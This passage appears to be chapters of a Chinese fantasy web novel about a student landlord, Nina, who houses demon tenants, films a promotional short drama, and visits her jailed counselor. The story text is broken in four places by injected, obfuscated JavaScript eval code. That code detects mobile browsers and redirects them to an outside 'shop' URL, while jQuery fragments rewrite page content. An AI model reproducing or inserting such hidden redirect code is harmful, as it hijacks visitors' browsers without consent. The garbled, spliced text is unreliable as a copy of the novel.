萨利冷冷地瞥了她一眼：“你最好把近来发生的事情给我说说清楚，我从你们学院的辅导员那儿了解到，你写不出论文，也找不到工作，正试图从那种诓骗大学生的没有意义的比赛里找回一点脸面。” “呃，确实是这样……”妮娜突然意识到自己的境况听起来有多么丢人，“你一直在村子里，所以不清楚，现在想在城里找一份工作有多不容易。但如果是魔法生的话，情况就大不相同了。” 她为自己辩解起来，顺便不着痕迹地再次谴责了萨利四年前的行为。 “你想留在王都？”萨利锋利的眼神像刀子一样扫了过来，“你从来没有跟我说过。” “我在王国最好的大学读书，难道你想让我毕业以后回巴尼斯种田？”妮娜没想到在这个节骨眼上她们还会在这个问题上产生分歧。 “我让你读书是为了不让你长成一个笨蛋，而不是为了让你在城里找一个工作，然后一辈子留在这种无趣又危险的地方。”萨利恶狠狠地说道，“反正你也找不到工作。” “我正在努力。我想留在王都。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924270|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 妮娜对自己这番话可能引起的后果已经有所预想，萨利会把她的眉头皱得更紧，然后凶巴巴地刨根问底，而她打算实话实说。她不想回到巴尼斯，其实不是因为讨厌农活，而是不想回到萨利身边。 创业大赛只是一个恰到好处的幌子，在罗德里斯基地与那些原始魔族相遇之后，她就下定决心要做些什么了。 没想到的是，萨利在听完她的决定之后，什么也没有问，她的脸半掩在高耸的褐色领子后面，让人看不到表情。 “我已经在王都购置了房产，我打定主意要在这里扎根了。” 萨利搁在桌上的手指抽搐了一下：“你哪来的钱？” 妮娜的心情一沉：“是……遗赠。”说完，她心虚地将头别了过去：“你不知道，最近发生了不少事情。” “是啊，发生了不少事情。离这儿不到五公里的地方，前不久刚刚发生过一场魔法引发的大爆炸。”萨利说，“况且那里还有一条巨龙。” 妮娜愣住了：“你在担心我？” “你是我女儿。”萨利说。 酒吧门口传来一阵叮铃铃的响声，有新的客人进来了。 两个风情万种的美人簇拥着一名大腹便便的中年男子在吧台的空位处坐下，其中一个女人觉察到身后的视线，朝妮娜投来一个挑衅般的眼神，不过很快，她的脸就被男人的手掌给掰转过去了。 “看哪里呢？我可是花了钱的，给我认真一点。” 妮娜意识到那是一位正在工作的魅魔。她的背影和薇薇安很像，但转过头来就发现并非如此。 萨利顺着她的视线，也看到了那一幕，“和魔物混在一起，真是不知廉耻。” 妮娜知道萨利说的是那个男人。她也瞧不上这样的男人，但想到这样的人正是自己房客们的生计来源，心情就变得复杂起来。 “爱和谁在一起是他的自由。”与其说她是在为那个男人辩护，倒不如说是下意识地反驳萨利。 她不希望租客们在自己面前遭人贬低。随后又意识到，现在发生在她眼前的这一幕，既不能说是那个男人的自由，更不能说是那些魅魔的自由。 萨利听她这么说，显然是吃了一惊，放在桌上的手指又抽搐了一下，最后索性将手缩回了自己的外套里。 过了半晌，她好像终于想通了什么似的。 “你说得对，‘别人的自由’，我没有权力干涉别人的自由，包括你的，妮娜。”她站了起来，“你已经长大了，成年了，我作为监护人的使命也早就该结束了。” 妮娜也跟着站了起来：“什么？” “你不是不希望我管你吗，怎么，原来只是说着玩的吗？”萨利脸色阴沉地盯着她，“你要么跟我回乡下，要么，我们两个从此就再也不要有什么瓜葛了。” 妮娜无论如何也想不到，萨利竟会用断绝关系来要挟自己。而更令她想不到的则是萨利接下来的这句话： “反正……你也不是我的女儿。” 12. 拍个短剧 妮娜能回忆起的最早的一件事就是萨利拉着自己的手。两个人就这么走在崎岖不平的小道上。 那天萨利穿着和今天一样的落叶色的衣服，把她带到了一间乡村小屋，说从今天起这儿就是两人的家。 那是一间整理得井井有条的小屋，只是因为许久没有人住，家具和地面已经积上了厚厚的一层灰。 萨利让她在屋外等着，自己进去清理屋子。 等得无聊的妮娜看到附近正在玩耍的孩子，便加入了他们的游戏。 中午的时候，孩子们被各自的家长喊回家吃饭，妮娜则没头没脑地跟着其中一个孩子回了家。 孩子的母亲从厨房端着炖肉出来，一眼就看到了坐在餐桌边饥肠辘辘的陌生女孩。 妮娜压根没有在意这个母亲和她的孩子之间发生的对话，直勾勾地盯着那碗热腾腾的菜肴。 这位善良的母亲笑着给妮娜盛了一份：“幸好今天做了不少，尽管吃吧。” 她接过碗，毫不客气地大快朵颐。 “你是最近才搬到巴尼斯来的吗，我以前从没有见过你。”女人在餐桌边坐了下来，一只手支着脑袋，好奇地看着她，“一个人在外面玩，爸爸妈妈会担心的。你住在哪里？待会儿我送你回去。” “没有爸爸，也没有妈妈。”妮娜一边嚼着肉块一边含含糊糊地说。 女人露出了为难的表情。 就在这时，有客人来访。 “那个，请问……有看到一个，和我一样的，黑头发的小女孩吗？大概这么高。”来人正是萨利。 女人舒出一口气。 妮娜看到门外的那个褐色的身影，立刻跳下了椅子，扑到了对方的怀里。她还记得那个时候萨利的脸上还沾着不注意时蹭到的灰，还有因为四处奔走寻找自己而变得急促的呼吸。 妮娜长大之后再回忆起这件事，总认为这段记忆一定已经经过了时间的加工，毕竟姑且不谈“没有爸爸”，她可没道理说出“没有妈妈”这样的话来。 究竟是为什么，那一天萨利会牵着她的手走在那条乡间的小路上？在踏上那条小路之前，她在哪里，和谁在一起？如果她不是萨利的女儿，她又会是谁呢？ 回到家的时候，时间已经是半夜，租客们还没有回来。妮娜走进自己的房间，连灯也没开就倒头睡在了床上。 …… 妮娜被一阵短促的敲门声吵醒了。她庆幸自己在临街的那扇墙上多开了一道门。 不过出现在门外的那张死人般的脸一下子就驱散了她的困意。 “导员？”她花了几秒钟认出那是乌瑟而不是死神。 “你的母亲，斯特尔女士让我带给你的。”乌瑟一句寒暄也没有，直接将手里的包裹塞到妮娜怀中，“她不知道你的地址，只好托我转交。真是的，辅导员的活可真多。” 妮娜暂且无法从包裹的外形判断出它的内容物，不过还是礼貌地向乌瑟表达感谢：“辛苦你了。不过其实你只要发一封邮件，我会去学校取的。” 乌瑟的表情变得难看起来：“你少说一些多余的话。”过了一会儿，才又说：“我顺便过来看看情况。走了。” 于是那黑色的身影很快就消失在了门口。 妮娜在餐桌边拆开了包裹，里面是一大包汤料，这东西可以在巴尼斯村任何一户人家的厨房里找到，是当地的特色食品之一，她几乎是喝着这玩意儿长大的。 包裹里面没有信笺，没有留言，但妮娜猜测这或许是萨利表达爱意的方式。 她不禁认为昨天两人在分手时萨利说的都是气话，并感到一阵歉疚。 萨利是个暴躁又霸道的母亲，经常冷言冷语，偶尔动手相向，小时候萨利经常因为她和偶遇的魔物们接触而对她大打出手，毫不留情，导致她不敢再和那个种族走得太近，只能远远观察。 包括后来修改她志愿的事——萨利似乎极其厌恶与魔族相关的东西，当然也涉及魔法。 但萨利也会在她受欺负的时候挺身而出，把捉弄她的坏小孩痛揍一顿，还会在她生病的时候寸步不离地在一旁照顾。 总之，并不全是坏的记忆。 她并非没有从萨利身上得到过母爱，不过她没有当过其他人的孩子，不知道那种母爱究竟正不正常。 她不能总是对没能进入魔法学院的事感到耿耿于怀，更不应该把自己在即将步入社会时所遇到的一切不幸都归咎到萨利头上——她也许真的应该在自己身上找找原因。 薇薇安从楼上走了下来，在楼梯的拐角处探出脑袋：“斯特尔女士，今天也有早餐吗？” “当然，让你们尝尝我家乡的味道。” 她在灶台上架起了锅，烧起了水，从冰箱里取了一些肉类和蔬菜，用勺子挖下一块凝固的汤料，浸到还没有冒泡的水里。随着水温升高，一股特别的香味在房间里弥漫开来。 薇薇安仰着脑袋，像小狗一样在空气里嗅了一会儿，有些不安地皱了皱眉头：“你在做什么？” 妮娜没有注意到她的表情，用勺子搅了一下汤底：“我家乡的一种汤菜。” 这时候拉弗尔也走下楼梯。 薇薇安将他拉到厨房：“你闻闻，是不是那个味道？” “什么味道？”妮娜问。 拉弗尔认真地判断了一会儿，确凿地说道：“有抑制剂的气味。” 薇薇安点了点头：“我果然没有弄错。” “抑制剂？” “人类专门为魔族研发的生长抑制剂，通常被用在巨魔和兽人族群中。”薇薇安解释道，“人类可不想看到他们生活的地方有体积过于庞大的异形生物。” “除了体型之外，它还被用于压制魔族的魔法力量，对我们来说，那实在不是一种好东西。”拉弗尔补充道，“抱歉，斯特尔女士，看来今天我们得自己准备早餐了。” 妮娜愣愣地看着已经烧开的汤：“萨利为什么要在汤料里加抑制剂？” 她突然想起一件怪事，昨天萨利说到了巨龙——可官方新闻从未公布过魔龙罗德里斯的存在。 薇薇安注意到房东女士神情凝重，拍了拍她的肩膀，“也许有些地方会把这东西当做调味料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924271|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用吧。放心，它不会对人类造成任何影响。” 拉弗尔也意识到了什么，及时地转移了话题：“对了，昨天那支视频怎么样了？” 妮娜露出了焦虑的表情。 薇薇安瞪了自己的伴侣一眼。 妮娜将解冻好的肉分成三份，一份放进汤里给自己吃，另外两份煎熟，裹上生菜，夹进面包，当做魅魔们的早饭。 吃完早饭，她略带忐忑地打开了视频网站的后台。 “127个点击，9个赞。两个新增的关注者，还算……不错吧。”她脸上挂起一个自我安慰式的笑容，但内心深处却由于幻想和现实的落差而感到失望。 薇薇安看着难掩失落的房东，马上有了新的主意：“其实昨天工作的时候，遇上一个从事这方面工作的客人，我可费了番心思从他那里打听到一些情况。” “嗯？” “我们没有粉丝基础，做的内容又冷门，基本上不可能得到网站的优先推荐。” “确实是这样。” “据说最近短剧在视频用户中非常流行，平台会优先将流量倾斜到那些内容上。我们不如试着利用这一点——如果能用因此获得更多观众的话，或许就有人能注意到我们的另一支视频了。” 她指了指包括自己在内的在场所有人：“我们有三个人，嗯……可以拍一部三角恋故事。斯特尔女士，你觉得这个主意怎么样？” 她甚至没有一部属于自己的智能手机，也才刚刚接触到这类事物，却能够侃侃而谈，且言之有理。 “如果有机会的话，你一定能大有作为。”妮娜像发现新大陆一样看着她。 三个兴致勃勃的年轻人没有浪费时间，当即将视频网站上最受欢迎的短视频系列快速过了一遍。接着，薇薇安大胆发挥想象之能事，构思了一段情节。 一对年轻情侣为了追求自由恋爱来到大城市，帅气而忧郁的美少年小帅被富家女看上，横刀夺爱，在大城市中无处谋生的情侣不得不向现实低头，小帅成了富家女的玩具。少女小美为了救回恋人，伪装性别，处心积虑地接近富家女。 富家女很快就对美少年失去兴趣，转而深深沦陷在小美布下的温柔陷阱之中。一夜意乱情迷之后，小美带着自己的恋人小帅逃离了富家女的牢笼，顺便还卷走了富家女的一大笔钱财。 ——一个道德感堪忧的故事。 “我觉得观众会喜欢的。”拉弗尔第一个站出来给恋人捧场。 妮娜让恶魔城在公寓中制造了一间临时的摄影棚。 简单的场景，廉价的道具，毫无技术含量的剪辑，夸张造作的台词。从表演到拍摄到后期，所有流程一气呵成。 薇薇安和拉弗尔这两位从容貌到身材都堪称完美的演员为这部短剧增添了视觉的美感，硬生生地让这个原本粗制滥造的视频焕发出一种神奇的高级品味。 妮娜没有忘记他们拍摄这个短剧的最终目的。 在短剧的最后，她找准机会把另一支视频的地址给插了进去： “点击链接，揭秘小美完美变装的真相！” 13. 引流作战 妮娜给这支长度只有十分钟左右的迷你剧起了一个朴素无华的标题《被横刀夺爱后我攻略了情敌》。 封面是妮娜扮演的富家女牵着拉弗尔扮演的小帅走在街头，打扮成俊美少年的小美从一边走过，瞬间吸引了富家女的目光，她回过头来，目不转睛地盯着小美。 小美的正面上半身特写占据了画面二分之一，她微微侧过头，余光扫向身后。而在富家女没有注意到的地方，小美和小帅的视线紧紧纠缠在一起。 这对俊男美女用自己的颜值和充满故事感的眼神使这副有些过时的互联网经典构图的意境得到了升华，重新焕发生机。 在上传后等待视频审核的时间里，妮娜又登录了自己过去使用的乐飞个人账号，在昨天制作的科普视频下面发了一段评论。 “不过是吸引眼球的谎话罢了，写你的科幻小说去吧，别在这里打着科普的名号招摇撞骗。如果魅魔真的能变性，我不相信到现在为止居然从来没有人发现。太假了。” 薇薇安挨了过来，有些不解的问道：“为什么要这么说？” 妮娜想了想：“大概是为了……给观众留下一点讨论的空间？” 《被横刀夺爱》顺利通过了审核。 制作者们都没有注意到一件事，或许他们运气真的不错，现在正是网站流量最大的时间段，汇聚着大量随手找一个感兴趣的视频下饭的用户。 妮娜点击进入前台页面时，视频下方的点击量正在以肉眼可见的速度增长——直到这时，她才知道原来不用刷新页面就能看到实时的播放量。 第一条评论出现在视频下方，它就像是一块饵料，瞬间钓起了观众们的评论积极性。 “喜闻乐见！！！” “一张图让我知道什么才叫真正的眼神拉丝，这简直比马苏里拉芝士还能拉。” “场景也太廉价了，完全没有用心。” “哈哈哈哈看得出来剧组很缺钱，富婆姐姐住的地方也太寒酸了吧？” “这到底是什么性向？感觉走向有点奇怪……再看看。” “奢华感竟全是靠小情侣的颜值堆出来的哈哈哈哈！！！” “救命，小美男装好帅啊。等等，不是男装？？？” “后面的剧情好离谱啊，白瞎演员颜值。” “这真的是我在乐飞能够看到的东西吗，捂眼。” “啊啊啊啊啊为什么要抛下富婆姐姐，我命令你们三个给我锁死！！！” 虽然在剪辑的时候妮娜就觉得这支迷你剧不会太糟，但现实的情形还是远超她的想象，以至于让她觉得事情顺利得有点反常，而数量不少的负面评论也让她生出几分担心。 后台跳出了新的通知。她生怕是极端人类种族主义分子举报了她的账号，忐忑地打开后发现是一条打赏。 这还只是一个开始。 很快，各种数额的打赏消息纷至沓来。 尽管大多数不过是观众一时兴起的1星光、2星光的小数额打赏，极其偶尔地也夹杂着1太阳（=100星光，1星光可以提现为1卡什）的“大额打赏”，但这些实时打赏对视频登上更好的曝光位置大有助益。 她点开昨天发布的视频，发现引流确实起效了，不少用户在看完《被横刀夺爱》后便转而点进了这个科普讲座，并且也进行了点赞收藏打赏的一键三连。 “写手大大们，新素材来了，求饭吃！！！” “等等，随意变化性别也太抽象了吧？大脑萎缩了。” “感觉自己正在觉醒某种特殊爱好。” “小情侣的演员有没有社交账号啊，我要去关注一波，呜呜呜，长得太好看了。” 在接下去的半个小时里，两个视频加起来一共获得了超过500卡什的打赏金额。 对于打算以此为生的团队来说，这个成绩可能并不瞩目，但已经远远超过了制作者们的预期。按照妮娜的计划，他们至少也要经营一个月才能开始变现。 她转手把自己在创业大赛官网上的项目链接贴到了置顶评论里。 很快，那个平平无奇的廉租房项目的关注度像是坐了传送阵似的飞快上升，虽然游客能提供的关注度权重不高，但耐不住积少成多，项目排名一下子就向前跳了好几页。 而她在科普视频下方发布的第一条评论也正在发酵，评论区中已然建起一栋高楼，持正反立场的评论都有。 有些极端仇视魔族的人用没有实际意义的污言秽语高调辱骂。 而有些人则分享了自己过去和魅魔打交道的经验，认为这种变性能力确实有迹可循。 妮娜没有对这些热烈讨论加以限制，而是转头在参赛页面的项目进展中把这两天的活动成果给添了进去。 在填写后续计划时，她思索了片刻，试探地看向自己的两位租客：“薇薇安，拉弗尔，你们想要试试直播吗？设备、账号还有网络，这些原本阻碍你们的要素现在都不成问题，甚至连热度都有现成的——你们可以用和过去不同的方式赚更多钱。” 直播。虽然兜了一个小圈子，但妮娜还是绕回了当初乌瑟给她指的这条明路上。 尽管网上对于“魅魔主播”的存在早就见多不怪，但主打一个货真价实的能有多少呢？ 从观众的反应来看，不管对魔族是仇视还是中立态度的人，其实在心里都存在着对另一个智慧种族的好奇心，然而出于各种原因，目前能够满足他们这种好奇心的社会资源近乎于零。 这条路能走。 薇薇安和拉弗尔相视一眼，很快就在无声的交互后作出了决定：“当然！” “毕竟我们很早就想尝试了！” * 妮娜将累积了几日的打赏全部提到了自己的存款账户里，又将之前剩下的最后一点黄金粒兑换成现现金，接着在一番详尽的考察和比较之后，购入了两部前年发售的手机。 这个型号手机的性能放到今天也算不错，而且价格也比首发价调低了很多，是一个性价比拉满的选择。 如果手头更宽裕一点的话，她定不会吝啬于为员工购买新型号，但实际情况是她已经把为数不多的资金中的大部分都拿来作为设备投资了。 她捣鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924272|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着厚着脸皮让手机销售员赠送的支架，“如果还有别的需求，不用客气，尽管告诉我，我会尽量满足你们的。” 魅魔们对手机充满好奇，而且学习速度快得吓人。 “斯特尔女士，这简直像做梦一样，我从来没想过自己可以用上手机！”薇薇安开心得像一个得到新玩具的孩子。 “嗯……魅魔第一次使用智能手机的感想——这个可以作为直播时分享的话题。”妮娜像一个经纪人似的煞有介事地说道，“人类会对你们的新奇感到新奇的，这类反应视频最近也有些市场。” “不仅是新奇，他们还会从中获得一种优越感。”拉弗尔突然发表了高屋建瓴的言论，“即使是处于社会底层的人类也都拥有自己的手机，而魔族显然比他们更低一等。” 薇薇安抢着说道：“不过我一点也不介意别人是怎么想的，因为我是真的为拥有一台属于自己的手机而激动不已！” 妮娜将短剧的两位主人公即将用这个视频账号进行直播的消息置顶在《被横刀夺爱后我攻略了情敌》的评论区，在这一消息发布的一刻钟后，妮娜收到了网站官方发来的签约邀请。 如果成为签约账号，所发布的内容就会得到网站的精准推荐，推送到感兴趣的用户首页，至少不会出现像第一支视频那样几乎无人问津的情况，另外还可以根据收藏和点赞数量获得分成收入，如果能被寻求合作的甲方看中，也有机会获得一笔广告收入。 妮娜最开始就是冲着与网站签约去的，毕竟这才是她计划里项目收益的主要来源，打赏其实是意外收入。等这封邀请函真的送到了面前，她自然没有犹豫，当即按下同意，并按照流程提供资料。 然而在核验身份的时候，系统却提示错误，要求签约人上传所在单位、学校或社区提供的担保资料，以保证签约人的确拥有“合法的人类公民身份”。 “难道我的身份编码还不足以证明我是一个人类吗？”妮娜对此感到有些困惑。 不过由于她没有经历过类似的事情，只当这是与这些网站签约时的一个必要流程，于是她给辅导员发了一封邮件，希望他能为自己准备一份担保材料。 恩斯法内大学，这个国家排名最高的大学，一个可靠的背书。 然而当她的邮件被系统自动退回的时候，她意识到似乎哪里不对劲。 她打了一个电话去教务处，教务处的工作人员态度恶劣，但好歹还是同意了担保的事。 “对了，还有一件事。” “请说。”接线员显得有点不耐烦。 “经济学院的辅导员，乌瑟先生，他的校内邮箱显示已被注销，这是怎么回事？他更换邮箱了吗？” “你是说乌瑟·斯莱曼？他已经从学校离职了。经济学院很快就会被分配新的辅导员，最近的事务你都可以找教务处处理。希望你在提问之前能自己去学校官方网站的公告区里找找答案。” “他为什么要离职？我是说……这太突然了。他前天还来找过我呢。” “我怎么知道？”对面说完这句话，就把电话给无情地挂断了。 14. 第二住户 妮娜原本想向乌瑟汇报一下创业项目的喜人进度，现在，唯一能够与她分享喜悦的对象竟不翼而飞了。 直觉告诉她这里面一定有不可告人的内情，但她手头没有辅导员的私人联系方式，没法亲自问一问乌瑟到底发生了什么。 教务处很快送来了印有学校公章的文件，将它上传到指定位置后，乐飞方面终于通过了签约流程，“罗德里斯魔法公寓”的主页上也被挂起了代表签约用户的小徽章。 101室的房门第三次被敲响。 妮娜开了门，看到那个浑身漆黑的影子时，还以为是辅导员不请自来，定睛一看，才发现是位陌生人。 陌生人有一颗黑色的脑袋，你在这颗脑袋上看不到包括五官和毛发在内的任何东西，只有居中对称的两个白色圆片——按照直觉判断，那应该就是他的眼睛。 这双眼睛睁得很圆，配合那颗空无一物的头颅，给人一种呆滞的感觉。 “我是一只巫妖，正在寻找住处。” 外面晴朗的天空和炽烈的阳光将他身上的色彩压得更加深沉。 根据贵族院上年度发表的官方报告，巫妖族群的数量在魔族人口的总数中属于偏少的那一类。 这一族群包含大巫妖、小巫妖和深渊巫妖三个细分种族，其中只有大巫妖会在自我介绍时自称“巫妖”，小巫妖会明确说明自己是小巫妖，而深渊巫妖则习惯性称自己为深渊族。 妮娜将这珍贵的第二户潜在租客迎了进来，像任何一个接待客人的主人一样，为他倒上了一杯水。 “谢谢，不过我们这一族通常不进食，也不进水。”巫妖说。 妮娜找补道：“哦，我知道，死灵也是这样。” “死灵之中也有需要食物的分支，比如食尸鬼。”巫妖说。 妮娜决定以后要少做这类搬起石头砸自己脚的事。 她打开电脑，一边提问，一边在存有租客信息的文件中进行记录。 “姓名。”“文森特。” “种族是大巫妖。”“嗯。” “年龄。”“应该有七十多了，七十四，我想。” 巫妖是一个长寿种族，不需要进食的魔物通常都有着接近无限的寿命，七十四岁对这个族类来说应该算是年轻的。 “职业。”“唔……我没有工作。” 妮娜侧头看了他一眼。虽然那张仿佛一团黑雾般的脸上没有表情，但她从他身上感到了一阵局促。 她耸耸肩，表示这没什么。 没有正当工作的魔族在这世上要多少有多少。她现在也不担心房客们暂时付不起房租，为他们创造价值变现的机会就是她现在想做的事。 “你是从哪儿知道罗德里斯公寓的？” “是我在出狱时遇见的一个人告诉我的。” 妮娜吃了一惊：“你刚从监狱出来？能说说你是怎么进去的吗？” 文森特的“神情”看起来十分麻木：“罪名是诈骗。不确定到底是多久之前……总之是第二次除魔运动之后的事，我为了避免惹上杀身之祸，在一家盲人开的按摩店里当技师，我工作的时候总是把自己包裹得严严实实，但还是被一位客人发现了真相，他举报了我所在的按摩店，于是店长气急败坏地把我送进了监狱。” “所以他们已经关了你——”妮娜在心里回忆了一下第二次除魔运动发生的时间，“五十多年？” “反正我们不消耗食物，顶多有点占地方。其实监狱是个不错的地方——我的意思是在那里面至少没有生命危险。” “那你怎么出来了？刑满释放吗？” “给新犯人腾位子。” “就是把这里的事情告诉你的那个人？”妮娜觉得有什么东西从脑袋里一闪而过，“你可千万别告诉我那是一个魔女。” 大巫妖愣了一下：“你怎么知道的？” 妮娜想象不到除此之外还有谁会整天记挂着给她的廉租公寓打广告。 更何况她又刚刚得知了乌瑟离开学校的惊人消息——如果说他因为进了监狱而被学校开除，那就说得通了。 她向文森特打听了监狱的名字，决定抽个时间亲自去将事情弄个明白。 “你对住处有什么特殊要求吗？格局、色调、家具，虽然只有不到八平米的大小，在这个范围之内你可以提任何合理的要求。” 文森特将两颗圆形的眼睛眯成了扁扁的椭圆：“我……我想先明确一下房租的问题。而且……我不确定自己什么时候才能缴纳。那位魔女说你不在意这个，但我还是觉得应该提前问问清楚。” “如果你有需要，我可以为你提供赚钱的渠道，房租可以从你产生的收益里面扣除。”妮娜说。 文森特对这样的条件表现出惊喜，很快就开始进行自我推销：“我想我可以负责公寓公共区域的打扫，我很擅长处理细节方面的东西，可以做到连地砖缝里都一尘不染。当然，我也可以提供按摩的服务，我还没有忘记那份手艺。” 他从黑色的斗篷底下伸出他那只黑色烟雾般的手，并在妮娜面前展现了那只手确实可以像烟雾一样随意变化形状的能力。 妮娜将这一细节记录下来，暂做保留，“在入住期间，你愿意接受采访，并将采访内容以及你的个人形象在网络平台公开吗？” 文森特那变化多端的手僵了一下：“什么？等等，网络平台是什么？公开……是说，上电视或是报纸吗？” 妮娜看着他疑惑又紧张的“表情”，意识到这位魔物与社会的脱轨也许比自己想象的还要严重。毕竟五十年前的互联网技术才刚刚萌芽。 “没错，类似于登报，或是上电视。”她的指尖在键盘上左右摇晃，“你和我都能从中获得好处。不过你不喜欢的话，成为公寓的清洁员也是一个支付房租的代替方案。” “我会把这里打扫得非常干净。”文森特说。 妮娜决定给他一点适应“现代文明”的时间。 “好的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924273|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房租的问题已经解决了，继续刚才的话题，”她顿了一下，“你理想的住所是怎样的？” 文森特的手指重新流动了起来，与他藏在斗篷底下的另一只手交缠在一起，“一个明亮的房间，通风，充足的日照，有一扇可以看见星星的天窗，一张坚硬的矮床，最好是水泥的。” “需要一扇天窗，看来你也得住在二楼，我想208的光照条件应该是最好的，它是边套，可以在两面开窗……208室，一张呃，水泥床。”妮娜对着某件魔法道具吩咐起来，“对了，你喜欢什么颜色的墙壁，什么样的地板？” 文森特脸上的小圆片消失了，大概是闭上了眼，过了一会儿，他说：“当然是白色的墙壁，以及白色瓷砖的地板。” 妮娜不知道这种对通透感的热衷是巫妖的普遍爱好，还是文森特的个人品味，如果是前者的话，一定也是一个会让人感到意外的魔族小知识。 毕竟这个种族看上去实在太像一条影子，可这位住户看起来却如此喜欢亮堂的环境。 “我带你去看看房间吧。如果你喜欢，今天就可以在这里住下。” * 比起薇薇安在看到她的房间时那种毫无保留的兴奋，文森特则显得谨慎一些。 他脸上的小圆片在房门被打开的瞬间放大了整整一圈，可那看起来并不像是一种高兴的情绪。 “白色的墙，白色的地，水泥的床，两面通风，一扇天窗……”他像是吟唱咒语一样说着一些整齐的排比。 “怎么了？你不喜欢吗？”妮娜问。恶魔城忠诚地复原了她提出的要求，而她的那些要求则是对文森特的完全复述，这其中应该没有产生差错的余地。 “斯特尔小姐，我不相信一个廉租公寓里会正好有一个与我梦想的居所一模一样的房间，简直像一个陷阱。”文森特说，“这太奇怪了。我不敢相信。我甚至怀疑连那个魔女都是同你串通好的。可是我哪里有让你们大费周章欺骗的价值？” 魅魔们之前也这样说过。 大概是听到了走廊上的动静，好奇的薇薇安从201室的房门里探出头来，向这里招了招手。 “斯特尔女士，你身边站着的是我们的新邻居吗？噢，天啊，居然是一位巫妖先生！” 她将头缩了回去，对屋内喊道：“拉弗尔，快来看，是大巫妖。你记不记得我们有多久没见到过一个活的巫妖了？” “她也是这儿的租客？”文森特似乎稍微变得冷静一点了。 妮娜点点头：“她和她的伴侣在这里租了一个房间。” “如果他们愿意去监狱看看的话，他们会见到数不完的巫妖。大巫妖，小巫妖，够他们看上好几天的。”文森特说，“斯特尔小姐，请准备合同吧。我决定在这里住下来了。我会是一个合格的清洁员。” 而妮娜在心里策划起了下一期科普主题。 巫妖的话题性远远比不上魅魔，但是由于在日常生活中很少见，未必不能博得关注。 15. 监狱探视 * 在安顿好文森特的次日，妮娜按照他给出的地址找到了那座可能关押着乌瑟的监狱。 除了身份证件之外，她还把从教务处那儿弄到的担保材料也打印了一份，以备不时之需。她第一次来这种地方，万幸监狱的人比她预计的要好说话。 “你怎么会和一个魔女扯上关系？他们可是一个同时遭到人类和魔族排挤的种族。”狱警在带她前往会面室的时候好奇地打探了一句。 “他是我大学的辅导员，给过我不少帮助。我想他不是一个坏人。他是怎么入狱的？”妮娜也顺便打听起来。 狱警摇了摇头：“魔女的事情只有贵族院有权管理，我们只负责看押，也不知道他是怎么得罪了那些大人物。” “千万别是达尔·达曼从中作梗。”妮娜自言自语道。 她被带到了一间过道十分狭窄的房间，一个和这个狭窄房间相匹配的狭窄座位前。 面前是一面玻璃，玻璃上镂着几个洞，好让声音能够互相传递。 玻璃后是一个空荡荡的房间。在她坐下后不久，房间门就被打开了，一个狱警带着他的犯人走了进来。 乌瑟终于换掉了那身乌鸦般的衣服，换上了一套仿佛病号服一般的蓝白相间的服装，这让他整个人看起来都淡得像是随时都会溶解在空气里，从袖子下面露出的皮肤上留有淤伤。显然是吃了一番苦头。 这让探视者感到不安。 乌瑟在玻璃前坐下，疲惫的声音从玻璃上的洞孔传了出来：“你怎么来了？” 妮娜说：“我发现你的校内邮箱被注销了，有点担心……没想到你进了监狱。” 乌瑟皱眉：“都是你害我进了这种鬼地方。” 妮娜先是一惊，而后小心翼翼地问道：“我在不自觉的情况下对你做了什么不好的事吗？” “我不该和你扯上关系，你也不该来这儿看我。”犯人答非所问。 “可是你让文森特去了我那儿。我还以为那是一个求救信号。”妮娜说。 乌瑟露出了一种无语的表情，妮娜已经能反过头来将其理解为一种词穷——也就是说，她自作主张的理解很可能正是这位魔女不齿直言的真意。 妮娜想了想：“你会进到这地方的缘由和我有关？难道是因为传送阵的事？我听说魔女在没有得到七贵族允许的情况下不能擅自使用魔法。但那时候你是为了救我才——” 说到这里，她突然停住了，她回忆起那天被邀请函打断的思路。 “你的魔法能力应该已经被七贵族封印了，你是如何使用瞬间移动的？是利用了魔法媒介吗？如果是这样，七贵族就没有理由将你关起来了，他们没有规定魔女不能使用魔法媒介。” 